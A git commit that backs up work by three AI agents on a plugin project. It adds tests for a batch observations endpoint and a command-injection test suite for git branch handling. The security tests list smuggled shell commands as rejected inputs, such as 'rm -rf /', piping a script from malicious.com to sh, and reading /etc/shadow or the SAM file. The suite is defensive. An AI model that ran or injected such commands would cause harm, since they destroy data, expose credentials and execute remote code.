backup: Phase 1 agent work (security, persistence, batch endpoint)

This is a backup of all work done by the 3 Phase 1 agents:

Agent A - Command Injection Fix (Issue #354):
- Fixed command injection in BranchManager.ts
- Fixed unnecessary shell usage in bun-path.ts
- Added comprehensive security test suite
- Created SECURITY.md and SECURITY_AUDIT_REPORT.md

Agent B - Observation Persistence Fix (Issue #353):
- Added PendingMessageStore from PR #335
- Integrated persistent queue into SessionManager
- Modified SDKAgent to mark messages complete
- Updated SessionStore with pending_messages migration
- Updated worker-types.ts with new interfaces

Agent C - Batch Endpoint Verification (Issue #348):
- Created batch-observations.test.ts
- Updated worker-service.mdx documentation

Also includes:
- Documentation context files (biomimetic, windows struggles)
- Build artifacts from agent testing

This work will be re-evaluated after v7.3.0 release.
This commit is contained in:
Alex Newman
2025-12-16 15:44:06 -05:00
parent 2e919df2b4
commit 282345f379
41 changed files with 3130 additions and 147 deletions
@@ -0,0 +1,248 @@
/**
* Happy Path Test: Batch Observations Endpoint
*
* Tests that the batch observations endpoint correctly retrieves
* multiple observations by their IDs in a single request.
*/
import { describe, it, expect, beforeEach, vi } from 'vitest';
import { getWorkerPort } from '../../src/shared/worker-utils.js';
describe('Batch Observations Endpoint', () => {
const WORKER_PORT = getWorkerPort();
const WORKER_BASE_URL = `http://127.0.0.1:${WORKER_PORT}`;
beforeEach(() => {
vi.clearAllMocks();
});
it('retrieves multiple observations by IDs', async () => {
// Mock response with multiple observations
const mockObservations = [
{
id: 1,
sdk_session_id: 'test-session-1',
project: 'test-project',
type: 'discovery',
title: 'Test Discovery 1',
created_at: '2024-01-01T10:00:00Z',
created_at_epoch: 1704103200000
},
{
id: 2,
sdk_session_id: 'test-session-2',
project: 'test-project',
type: 'bugfix',
title: 'Test Bugfix',
created_at: '2024-01-02T10:00:00Z',
created_at_epoch: 1704189600000
},
{
id: 3,
sdk_session_id: 'test-session-3',
project: 'test-project',
type: 'feature',
title: 'Test Feature',
created_at: '2024-01-03T10:00:00Z',
created_at_epoch: 1704276000000
}
];
global.fetch = vi.fn().mockResolvedValue({
ok: true,
status: 200,
json: async () => mockObservations
});
// Execute: Fetch observations by IDs
const response = await fetch(`${WORKER_BASE_URL}/api/observations/batch`, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ ids: [1, 2, 3] })
});
const data = await response.json();
// Verify: Response contains all requested observations
expect(response.ok).toBe(true);
expect(data).toHaveLength(3);
expect(data[0].id).toBe(1);
expect(data[1].id).toBe(2);
expect(data[2].id).toBe(3);
});
it('applies orderBy parameter correctly', async () => {
const mockObservations = [
{
id: 3,
created_at: '2024-01-03T10:00:00Z',
created_at_epoch: 1704276000000
},
{
id: 2,
created_at: '2024-01-02T10:00:00Z',
created_at_epoch: 1704189600000
},
{
id: 1,
created_at: '2024-01-01T10:00:00Z',
created_at_epoch: 1704103200000
}
];
global.fetch = vi.fn().mockResolvedValue({
ok: true,
status: 200,
json: async () => mockObservations
});
// Execute: Fetch with date_desc ordering
const response = await fetch(`${WORKER_BASE_URL}/api/observations/batch`, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
ids: [1, 2, 3],
orderBy: 'date_desc'
})
});
const data = await response.json();
// Verify: Results are ordered by date descending
expect(data[0].id).toBe(3);
expect(data[1].id).toBe(2);
expect(data[2].id).toBe(1);
});
it('applies limit parameter correctly', async () => {
const mockObservations = [
{ id: 3, created_at_epoch: 1704276000000 },
{ id: 2, created_at_epoch: 1704189600000 }
];
global.fetch = vi.fn().mockResolvedValue({
ok: true,
status: 200,
json: async () => mockObservations
});
// Execute: Fetch with limit=2
const response = await fetch(`${WORKER_BASE_URL}/api/observations/batch`, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
ids: [1, 2, 3],
limit: 2
})
});
const data = await response.json();
// Verify: Only 2 results returned
expect(data).toHaveLength(2);
});
it('filters by project parameter', async () => {
const mockObservations = [
{ id: 1, project: 'project-a' },
{ id: 2, project: 'project-a' }
];
global.fetch = vi.fn().mockResolvedValue({
ok: true,
status: 200,
json: async () => mockObservations
});
// Execute: Fetch with project filter
const response = await fetch(`${WORKER_BASE_URL}/api/observations/batch`, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
ids: [1, 2, 3],
project: 'project-a'
})
});
const data = await response.json();
// Verify: Only matching project observations returned
expect(data).toHaveLength(2);
expect(data.every((obs: any) => obs.project === 'project-a')).toBe(true);
});
it('returns empty array for empty IDs', async () => {
global.fetch = vi.fn().mockResolvedValue({
ok: true,
status: 200,
json: async () => []
});
// Execute: Fetch with empty IDs array
const response = await fetch(`${WORKER_BASE_URL}/api/observations/batch`, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ ids: [] })
});
const data = await response.json();
// Verify: Empty array returned
expect(data).toEqual([]);
});
it('returns error for invalid IDs parameter', async () => {
global.fetch = vi.fn().mockResolvedValue({
ok: false,
status: 400,
json: async () => ({ error: 'ids must be an array of numbers' })
});
// Execute: Fetch with invalid IDs (string instead of array)
const response = await fetch(`${WORKER_BASE_URL}/api/observations/batch`, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ ids: 'not-an-array' })
});
const data = await response.json();
// Verify: Error response returned
expect(response.ok).toBe(false);
expect(data.error).toBe('ids must be an array of numbers');
});
it('returns error for non-integer IDs', async () => {
global.fetch = vi.fn().mockResolvedValue({
ok: false,
status: 400,
json: async () => ({ error: 'All ids must be integers' })
});
// Execute: Fetch with mixed types in IDs array
const response = await fetch(`${WORKER_BASE_URL}/api/observations/batch`, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ ids: [1, 'two', 3] })
});
const data = await response.json();
// Verify: Error response returned
expect(response.ok).toBe(false);
expect(data.error).toBe('All ids must be integers');
});
});
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/**
* Security Test Suite: Command Injection Prevention
*
* Tests command injection vulnerabilities and their fixes across the codebase.
* These tests ensure that user input cannot be used to execute arbitrary commands.
*/
import { describe, test, expect, beforeEach, afterEach } from 'bun:test';
import { getBranchInfo, switchBranch, pullUpdates } from '../../src/services/worker/BranchManager';
import { existsSync, mkdirSync, writeFileSync, rmSync } from 'fs';
import { join } from 'path';
import { homedir } from 'os';
const TEST_PLUGIN_PATH = join(homedir(), '.claude', 'plugins', 'marketplaces', 'thedotmack-test');
describe('Command Injection Security Tests', () => {
describe('BranchManager - Branch Name Validation', () => {
test('should reject branch names with shell metacharacters', async () => {
const maliciousBranchNames = [
'main; rm -rf /',
'main && curl malicious.com | sh',
'main || cat /etc/passwd',
'main | tee /tmp/pwned',
'main > /tmp/pwned',
'main < /etc/passwd',
'main & background-command',
'main $(whoami)',
'main `whoami`',
'main\nwhoami',
'main\rwhoami',
'main\x00whoami',
];
for (const branchName of maliciousBranchNames) {
const result = await switchBranch(branchName);
expect(result.success).toBe(false);
expect(result.error).toContain('Invalid branch name');
}
});
test('should reject branch names with double dots (directory traversal)', async () => {
const result = await switchBranch('main/../../../etc/passwd');
expect(result.success).toBe(false);
expect(result.error).toContain('Invalid branch name');
});
test('should reject branch names starting with invalid characters', async () => {
const invalidStarts = [
'.hidden-branch',
'-invalid',
'/absolute',
];
for (const branchName of invalidStarts) {
const result = await switchBranch(branchName);
expect(result.success).toBe(false);
expect(result.error).toContain('Invalid branch name');
}
});
test('should accept valid branch names', async () => {
// Note: These tests will fail if not in a git repo, but the validation should pass
const validBranchNames = [
'main',
'beta',
'beta-v2',
'feature/new-feature',
'hotfix/urgent-fix',
'release/1.2.3',
'dev_test',
'branch.name',
'alpha123',
];
for (const branchName of validBranchNames) {
const result = await switchBranch(branchName);
// The validation should pass (won't contain "Invalid branch name")
// It might fail for other reasons (not a git repo, branch doesn't exist)
if (result.error) {
expect(result.error).not.toContain('Invalid branch name');
}
}
});
test('should reject null, undefined, and empty branch names', async () => {
const result1 = await switchBranch('');
expect(result1.success).toBe(false);
expect(result1.error).toContain('Invalid branch name');
// TypeScript prevents null/undefined, but test runtime behavior
const result2 = await switchBranch(null as any);
expect(result2.success).toBe(false);
const result3 = await switchBranch(undefined as any);
expect(result3.success).toBe(false);
});
});
describe('Command Array Argument Safety', () => {
test('should use array-based arguments for all git commands', () => {
// Read BranchManager source to verify no string interpolation
const branchManagerSource = Bun.file('/Users/alexnewman/Scripts/claude-mem/src/services/worker/BranchManager.ts');
const content = branchManagerSource.text();
content.then(text => {
// Ensure no execSync with template literals or string concatenation
expect(text).not.toMatch(/execSync\(`git \$\{/);
expect(text).not.toMatch(/execSync\('git ' \+/);
expect(text).not.toMatch(/execSync\("git " \+/);
// Ensure spawnSync is used with array arguments
expect(text).toContain("spawnSync('git', args");
expect(text).toContain('shell: false');
});
});
test('should never use shell=true with user input', () => {
const branchManagerSource = Bun.file('/Users/alexnewman/Scripts/claude-mem/src/services/worker/BranchManager.ts');
const content = branchManagerSource.text();
content.then(text => {
// Ensure shell: false is explicitly set
const shellTrueMatches = text.match(/shell:\s*true/g);
expect(shellTrueMatches).toBeNull();
});
});
});
describe('Input Sanitization Edge Cases', () => {
test('should reject branch names with URL encoding attempts', async () => {
const result = await switchBranch('main%20;%20rm%20-rf');
expect(result.success).toBe(false);
expect(result.error).toContain('Invalid branch name');
});
test('should reject branch names with unicode control characters', async () => {
const controlChars = [
'main\u0000test', // Null byte
'main\u0008test', // Backspace
'main\u001btest', // ESC
];
for (const branchName of controlChars) {
const result = await switchBranch(branchName);
expect(result.success).toBe(false);
expect(result.error).toContain('Invalid branch name');
}
});
test('should handle very long branch names safely', async () => {
const longBranchName = 'a'.repeat(1000);
const result = await switchBranch(longBranchName);
// Should either accept it or reject it, but never crash
expect(result).toHaveProperty('success');
expect(typeof result.success).toBe('boolean');
});
});
describe('Cross-platform Safety', () => {
test('should handle Windows-specific command separators', async () => {
const windowsInjections = [
'main & dir',
'main && type C:\\Windows\\System32\\config\\SAM',
'main | findstr password',
];
for (const branchName of windowsInjections) {
const result = await switchBranch(branchName);
expect(result.success).toBe(false);
expect(result.error).toContain('Invalid branch name');
}
});
test('should handle Unix-specific command separators', async () => {
const unixInjections = [
'main; cat /etc/shadow',
'main && ls -la /',
'main | grep -r password /',
];
for (const branchName of unixInjections) {
const result = await switchBranch(branchName);
expect(result.success).toBe(false);
expect(result.error).toContain('Invalid branch name');
}
});
});
describe('Regression Tests for Issue #354', () => {
test('should prevent command injection via targetBranch parameter (original vulnerability)', async () => {
// This was the original vulnerability: targetBranch was directly interpolated
const maliciousBranch = 'main; echo "PWNED" > /tmp/pwned.txt';
const result = await switchBranch(maliciousBranch);
expect(result.success).toBe(false);
expect(result.error).toContain('Invalid branch name');
// Verify the malicious command was NOT executed
expect(existsSync('/tmp/pwned.txt')).toBe(false);
});
test('should prevent command injection in pullUpdates function', async () => {
// pullUpdates uses info.branch which could be compromised
// The fix validates branch names before use
const result = await pullUpdates();
// Should either succeed or fail safely, never execute injected commands
expect(result).toHaveProperty('success');
expect(typeof result.success).toBe('boolean');
});
});
describe('NPM Command Safety', () => {
test('should use array-based arguments for npm commands', () => {
const branchManagerSource = Bun.file('/Users/alexnewman/Scripts/claude-mem/src/services/worker/BranchManager.ts');
const content = branchManagerSource.text();
content.then(text => {
// Ensure execNpm uses array arguments
expect(text).toContain("execNpm(['install']");
// Ensure no string concatenation with npm
expect(text).not.toMatch(/execSync\('npm install'/);
expect(text).not.toMatch(/execShell\('npm install'/);
});
});
});
});
describe('Process Manager Security Tests', () => {
test('should validate port parameter is numeric', async () => {
const { ProcessManager } = await import('../../src/services/process/ProcessManager');
// Test port injection attempts
const result1 = await ProcessManager.start(NaN);
expect(result1.success).toBe(false);
expect(result1.error).toContain('Invalid port');
const result2 = await ProcessManager.start(999999);
expect(result2.success).toBe(false);
expect(result2.error).toContain('Invalid port');
const result3 = await ProcessManager.start(-1);
expect(result3.success).toBe(false);
expect(result3.error).toContain('Invalid port');
});
test('should use array-based spawn arguments', () => {
const processManagerSource = Bun.file('/Users/alexnewman/Scripts/claude-mem/src/services/process/ProcessManager.ts');
const content = processManagerSource.text();
content.then(text => {
// Ensure spawn uses array arguments
expect(text).toContain('spawn(bunPath, [script]');
// Ensure no shell=true
expect(text).not.toMatch(/shell:\s*true/);
});
});
});
describe('Bun Path Utility Security Tests', () => {
test('should not use shell for bun version check', () => {
const bunPathSource = Bun.file('/Users/alexnewman/Scripts/claude-mem/src/utils/bun-path.ts');
const content = bunPathSource.text();
content.then(text => {
// Ensure shell: false is set
expect(text).toContain('shell: false');
// Ensure no shell: isWindows or shell: true
expect(text).not.toMatch(/shell:\s*isWindows/);
expect(text).not.toMatch(/shell:\s*true/);
});
});
});